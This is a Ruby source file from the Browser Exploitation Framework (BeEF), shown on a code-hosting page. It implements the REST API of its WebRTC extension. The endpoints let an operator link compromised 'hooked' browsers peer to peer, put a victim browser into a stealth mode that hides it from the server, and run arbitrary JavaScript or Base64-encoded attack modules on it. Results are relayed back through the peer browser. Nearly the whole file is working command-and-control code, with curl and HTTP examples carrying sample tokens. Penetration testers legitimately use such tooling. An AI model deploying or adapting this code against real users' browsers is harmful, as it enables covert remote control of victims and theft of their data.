Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/extensions/webrtc/rest/webrtc.rb
1154 views
1
#
2
# Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
# Browser Exploitation Framework (BeEF) - https://beefproject.com
4
# See the file 'doc/COPYING' for copying permission
5
#
6
module BeEF
7
module Extension
8
module WebRTC
9
require 'base64'
10
11
# This class handles the routing of RESTful API requests that manage the
12
# WebRTC Extension
13
class WebRTCRest < BeEF::Core::Router::Router
14
# Filters out bad requests before performing any routing
15
before do
16
config = BeEF::Core::Configuration.instance
17
18
# Require a valid API token from a valid IP address
19
halt 401 unless params[:token] == config.get('beef.api_token')
20
halt 403 unless BeEF::Core::Rest.permitted_source?(request.ip)
21
22
headers 'Content-Type' => 'application/json; charset=UTF-8',
23
'Pragma' => 'no-cache',
24
'Cache-Control' => 'no-cache',
25
'Expires' => '0'
26
end
27
28
#
29
# @note Initiate two browsers to establish a WebRTC PeerConnection
30
# Return success = true if the message has been queued - as this is
31
# asynchronous, you will have to monitor BeEFs event log for success
32
# messages. For instance: Event: Browser:1 received message from
33
# Browser:2: ICE Status: connected
34
#
35
# Alternatively, the new rtcstatus model also records events during
36
# RTC connectivity
37
#
38
# Input must be specified in JSON format (the verbose option is no
39
# longer required as client-debugging uses the beef.debug)
40
#
41
# +++ Example: +++
42
# POST /api/webrtc/go?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
43
# Host: 127.0.0.1:3000
44
# Content-Type: application/json; charset=UTF-8
45
#
46
# {"from":1, "to":2}
47
#===response (snip)===
48
# HTTP/1.1 200 OK
49
# Content-Type: application/json; charset=UTF-8
50
#
51
# {"success":"true"}
52
#
53
# +++ Example with verbosity on the client-side +++
54
# POST /api/webrtc/go?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
55
# Host: 127.0.0.1:3000
56
# Content-Type: application/json; charset=UTF-8
57
#
58
# {"from":1, "to":2, "verbose": true}
59
#===response (snip)===
60
# HTTP/1.1 200 OK
61
# Content-Type: application/json; charset=UTF-8
62
#
63
# {"success":"true"}
64
#
65
# +++ Example with curl +++
66
# curl -H "Content-type: application/json; charset=UTF-8" -v
67
# -X POST -d '{"from":1,"to":2,"verbose":true}'
68
# http://127.0.0.1:3000/api/webrtc/go\?token\=df67654b03d030d97018f85f0284247d7f49c348
69
post '/go' do
70
body = JSON.parse(request.body.read)
71
72
fromhb = body['from']
73
raise InvalidParamError, 'from' if fromhb.nil?
74
75
tohb = body['to']
76
raise InvalidParamError, 'to' if tohb.nil?
77
78
verbose = body['verbose']
79
80
result = {}
81
82
if [fromhb, tohb].include?(nil)
83
result['success'] = false
84
return result.to_json
85
end
86
87
if verbose.to_s =~ (/^(true|t|yes|y|1)$/i)
88
BeEF::Core::Models::RtcManage.initiate(fromhb.to_i, tohb.to_i, true)
89
else
90
BeEF::Core::Models::RtcManage.initiate(fromhb.to_i, tohb.to_i)
91
end
92
93
r = BeEF::Core::Models::Rtcstatus.new(
94
hooked_browser_id: fromhb.to_i,
95
target_hooked_browser_id: tohb.to_i,
96
status: 'Initiating..',
97
created_at: Time.now,
98
updated_at: Time.now
99
)
100
101
r.save
102
r2 = BeEF::Core::Models::Rtcstatus.new(
103
hooked_browser_id: tohb.to_i,
104
target_hooked_browser_id: fromhb.to_i,
105
status: 'Initiating..',
106
created_at: Time.now,
107
updated_at: Time.now
108
)
109
r2.save
110
111
result['success'] = true
112
result.to_json
113
rescue InvalidParamError => e
114
print_error e.message
115
halt 400
116
rescue StandardError => e
117
print_error "Internal error while initiating RTCPeerConnections .. (#{e.message})"
118
halt 500
119
end
120
121
#
122
# @note Get the RTCstatus of a particular browser (and its peers)
123
# Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log
124
# for success messages. For instance: Event: Browser:1 received message from Browser:2: Status checking - allgood: true
125
#
126
# +++ Example: +++
127
# GET /api/webrtc/status/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
128
# Host: 127.0.0.1:3000
129
#
130
#===response (snip)===
131
# HTTP/1.1 200 OK
132
# Content-Type: application/json; charset=UTF-8
133
#
134
# {"success":"true"}
135
#
136
# +++ Example with curl +++
137
# curl -H "Content-type: application/json; charset=UTF-8" -v
138
# -X GET http://127.0.0.1:3000/api/webrtc/status/1\?token\=df67654b03d030d97018f85f0284247d7f49c348
139
get '/status/:id' do
140
id = params[:id]
141
142
BeEF::Core::Models::RtcManage.status(id.to_i)
143
result = {}
144
result['success'] = true
145
result.to_json
146
rescue InvalidParamError => e
147
print_error e.message
148
halt 400
149
rescue StandardError => e
150
print_error "Internal error while queuing status message for #{id} (#{e.message})"
151
halt 500
152
end
153
154
#
155
# @note Get the events from the RTCstatus model of a particular browser
156
# Return JSON with events_count and an array of events
157
#
158
# +++ Example: +++
159
# GET /api/webrtc/events/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
160
# Host: 127.0.0.1:3000
161
#
162
#===response (snip)===
163
# HTTP/1.1 200 OK
164
# Content-Type: application/json; charset=UTF-8
165
#
166
# {"events_count":1,"events":[{"id":2,"hb_id":1,"target_id":2,"status":"Connected","created_at":"timestamp","updated_at":"timestamp"}]}
167
#
168
# +++ Example with curl +++
169
# curl -H "Content-type: application/json; charset=UTF-8" -v
170
# -X GET http://127.0.0.1:3000/api/webrtc/events/1\?token\=df67654b03d030d97018f85f0284247d7f49c348
171
get '/events/:id' do
172
id = params[:id]
173
174
events = BeEF::Core::Models::Rtcstatus.where(hooked_browser_id: id)
175
176
events_json = []
177
count = events.length
178
179
events.each do |event|
180
events_json << {
181
'id' => event.id.to_i,
182
'hb_id' => event.hooked_browser_id.to_i,
183
'target_id' => event.target_hooked_browser_id.to_i,
184
'status' => event.status.to_s,
185
'created_at' => event.created_at.to_s,
186
'updated_at' => event.updated_at.to_s
187
}
188
end
189
unless events_json.empty?
190
{
191
'events_count' => count,
192
'events' => events_json
193
}.to_json
194
end
195
rescue InvalidParamError => e
196
print_error e.message
197
halt 400
198
rescue StandardError => e
199
print_error "Internal error while queuing status message for #{id} (#{e.message})"
200
halt 500
201
end
202
203
#
204
# @note Get the events from the RTCModuleStatus model of a particular browser
205
# Return JSON with events_count and an array of events associated with command module execute
206
#
207
# +++ Example: +++
208
# GET /api/webrtc/cmdevents/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
209
# Host: 127.0.0.1:3000
210
#
211
#===response (snip)===
212
# HTTP/1.1 200 OK
213
# Content-Type: application/json; charset=UTF-8
214
#
215
# {"events_count":1,"events":[{"id":2,"hb_id":1,"target_id":2,"status":"prompt=blah","mod":200,"created_at":"timestamp","updated_at":"timestamp"}]}
216
#
217
# +++ Example with curl +++
218
# curl -H "Content-type: application/json; charset=UTF-8" -v
219
# -X GET http://127.0.0.1:3000/api/webrtc/cmdevents/1\?token\=df67654b03d030d97018f85f0284247d7f49c348
220
get '/cmdevents/:id' do
221
id = params[:id]
222
223
events = BeEF::Core::Models::Rtcmodulestatus.where(hooked_browser_id: id)
224
225
events_json = []
226
count = events.length
227
228
events.each do |event|
229
events_json << {
230
'id' => event.id.to_i,
231
'hb_id' => event.hooked_browser_id.to_i,
232
'target_id' => event.target_hooked_browser_id.to_i,
233
'status' => event.status.to_s,
234
'created_at' => event.created_at.to_s,
235
'updated_at' => event.updated_at.to_s,
236
'mod' => event.command_module_id
237
}
238
end
239
unless events_json.empty?
240
{
241
'events_count' => count,
242
'events' => events_json
243
}.to_json
244
end
245
rescue InvalidParamError => e
246
print_error e.message
247
halt 400
248
rescue StandardError => e
249
print_error "Internal error while queuing status message for #{id} (#{e.message})"
250
halt 500
251
end
252
253
#
254
# @note Instruct a browser to send an RTC DataChannel message to one of its peers
255
# Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log
256
# for success messages, IF ANY.
257
#
258
# Input must be specified in JSON format
259
#
260
# +++ Example: +++
261
# POST /api/webrtc/msg?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
262
# Host: 127.0.0.1:3000
263
# Content-Type: application/json; charset=UTF-8
264
#
265
# {"from":1, "to":2, "message":"Just a plain message"}
266
#===response (snip)===
267
# HTTP/1.1 200 OK
268
# Content-Type: application/json; charset=UTF-8
269
#
270
# {"success":"true"}
271
#
272
# +++ Example with curl +++
273
# curl -H "Content-type: application/json; charset=UTF-8" -v
274
# -X POST -d '{"from":1,"to":2,"message":"Just a plain message"}'
275
# http://127.0.0.1:3000/api/webrtc/msg\?token\=df67654b03d030d97018f85f0284247d7f49c348
276
#
277
# Available client-side "message" options and handling:
278
# !gostealth - will put the <to> browser into a stealth mode
279
# !endstealth - will put the <to> browser into normal mode, and it will start talking to BeEF again
280
# %<javascript> - will execute JavaScript on <to> sending the results back to <from> - who will relay back to BeEF
281
# <text> - will simply send a datachannel message from <from> to <to>.
282
# If the <to> is stealthed, it'll bounce the message back.
283
# If the <to> is NOT stealthed, it'll send the message back to BeEF via the /rtcmessage handler
284
post '/msg' do
285
body = JSON.parse(request.body.read)
286
287
fromhb = body['from']
288
raise InvalidParamError, 'from' if fromhb.nil?
289
290
tohb = body['to']
291
raise InvalidParamError, 'to' if tohb.nil?
292
293
message = body['message']
294
raise InvalidParamError, 'message' if message.nil?
295
296
if message === '!gostealth'
297
stat = BeEF::Core::Models::Rtcstatus.where(hooked_browser_id: fromhb.to_i, target_hooked_browser_id: tohb.to_i).first || nil
298
unless stat.nil?
299
stat.status = 'Selected browser has commanded peer to enter stealth'
300
stat.updated_at = Time.now
301
stat.save
302
end
303
stat2 = BeEF::Core::Models::Rtcstatus.where(hooked_browser_id: tohb.to_i, target_hooked_browser_id: fromhb.to_i).first || nil
304
unless stat2.nil?
305
stat2.status = 'Peer has commanded selected browser to enter stealth'
306
stat2.updated_at = Time.now
307
stat2.save
308
end
309
end
310
311
result = {}
312
313
if [fromhb, tohb, message].include?(nil)
314
result['success'] = false
315
else
316
BeEF::Core::Models::RtcManage.sendmsg(fromhb.to_i, tohb.to_i, message)
317
result['success'] = true
318
end
319
320
result.to_json
321
rescue InvalidParamError => e
322
print_error e.message
323
halt 400
324
rescue StandardError => e
325
print_error "Internal error while queuing message (#{e.message})"
326
halt 500
327
end
328
329
#
330
# @note Instruct a browser to send an RTC DataChannel message to one of its peers
331
# In this instance, the message is a Base64d encoded JS command
332
# which has the beef.net.send statements re-written
333
# Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log
334
# for success messages, IF ANY.
335
# Commands are written back to the rtcmodulestatus model
336
#
337
# Input must be specified in JSON format
338
#
339
# +++ Example: +++
340
# POST /api/webrtc/cmdexec?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
341
# Host: 127.0.0.1:3000
342
# Content-Type: application/json; charset=UTF-8
343
#
344
# {"from":1, "to":2, "cmdid":120, "options":[{"name":"option_name","value":"option_value"}]}
345
#===response (snip)===
346
# HTTP/1.1 200 OK
347
# Content-Type: application/json; charset=UTF-8
348
#
349
# {"success":"true"}
350
#
351
# +++ Example with curl +++
352
# curl -H "Content-type: application/json; charset=UTF-8" -v
353
# -X POST -d '{"from":1, "to":2, "cmdid":120, "options":[{"name":"option_name","value":"option_value"}]}'
354
# http://127.0.0.1:3000/api/webrtc/cmdexec\?token\=df67654b03d030d97018f85f0284247d7f49c348
355
#
356
post '/cmdexec' do
357
body = JSON.parse(request.body.read)
358
fromhb = body['from']
359
raise InvalidParamError, 'from' if fromhb.nil?
360
361
tohb = body['to']
362
raise InvalidParamError, 'to' if tohb.nil?
363
364
cmdid = body['cmdid']
365
raise InvalidParamError, 'cmdid' if cmdid.nil?
366
367
cmdoptions = body['options'] if body['options']
368
cmdoptions = nil if cmdoptions.eql?('')
369
370
if [fromhb, tohb, cmdid].include?(nil)
371
result = {}
372
result['success'] = false
373
return result.to_json
374
end
375
376
# Find the module, modify it, send it to be executed on the tohb
377
378
# Validate the command module by ID
379
command_module = BeEF::Core::Models::CommandModule.find(cmdid)
380
error 404 if command_module.nil?
381
error 404 if command_module.path.nil?
382
383
# Get the key of the module based on the ID
384
key = BeEF::Module.get_key_by_database_id(cmdid)
385
error 404 if key.nil?
386
387
# Try to load the module
388
BeEF::Module.hard_load(key)
389
390
# Now the module is hard loaded, find it's object and get it
391
command_module = BeEF::Core::Command.const_get(
392
BeEF::Core::Configuration.instance.get(
393
"beef.module.#{key}.class"
394
)
395
).new(key)
396
397
# Check for command options
398
cmddata = cmdoptions.nil? ? [] : cmdoptions
399
400
# Get path of source JS
401
f = "#{command_module.path}command.js"
402
error 404 unless File.exist? f
403
404
# Read file
405
@eruby = Erubis::FastEruby.new(File.read(f))
406
407
# Parse in the supplied parameters
408
cc = BeEF::Core::CommandContext.new
409
cc['command_url'] = command_module.default_command_url
410
cc['command_id'] = command_module.command_id
411
cmddata.each do |v|
412
cc[v['name']] = v['value']
413
end
414
415
# Evalute supplied options
416
@output = @eruby.evaluate(cc)
417
418
# Gsub the output, replacing all beef.net.send commands
419
# This needs to occur because we want this JS to send messages
420
# back to the peer browser
421
@output = @output.gsub(/beef\.net\.send\((.*)\);?/) do |_s|
422
tmpout = "// beef.net.send removed\n"
423
tmpout += "beefrtcs[#{fromhb}].sendPeerMsg('execcmd ("
424
cmdurl = Regexp.last_match(1).split(',')
425
tmpout += cmdurl[0].gsub(/\s|"|'/, '')
426
tmpout += ") Result: ' + "
427
tmpout += cmdurl[2]
428
tmpout += ');'
429
tmpout
430
end
431
432
# Prepend the B64 version of the string with @
433
# The client JS receives the rtc message, detects the @
434
# and knows to decode it before execution
435
msg = "@#{Base64.strict_encode64(@output)}"
436
437
# Finally queue the message in the RTC queue for submission
438
# from the from browser to the to browser
439
BeEF::Core::Models::RtcManage.sendmsg(fromhb.to_i, tohb.to_i, msg)
440
441
result = {}
442
result['success'] = true
443
result.to_json
444
rescue JSON::ParserError => e
445
print_error "Invalid JSON: #{e.message}"
446
halt 400
447
rescue InvalidParamError => e
448
print_error e.message
449
halt 400
450
rescue StandardError => e
451
print_error "Internal error while executing command (#{e.message})"
452
halt 500
453
end
454
455
# Raised when invalid JSON input is passed to an /api/webrtc handler.
456
class InvalidJsonError < StandardError
457
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/webrtc handler'.to_json
458
459
def initialize(message = nil)
460
super(message || DEFAULT_MESSAGE)
461
end
462
end
463
464
# Raised when an invalid named parameter is passed to an /api/webrtc handler.
465
class InvalidParamError < StandardError
466
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/webrtc handler'.to_json
467
468
def initialize(message = nil)
469
str = 'Invalid "%s" parameter passed to /api/webrtc handler'
470
message = format str, message unless message.nil?
471
super(message)
472
end
473
end
474
end
475
end
476
end
477
end
478
479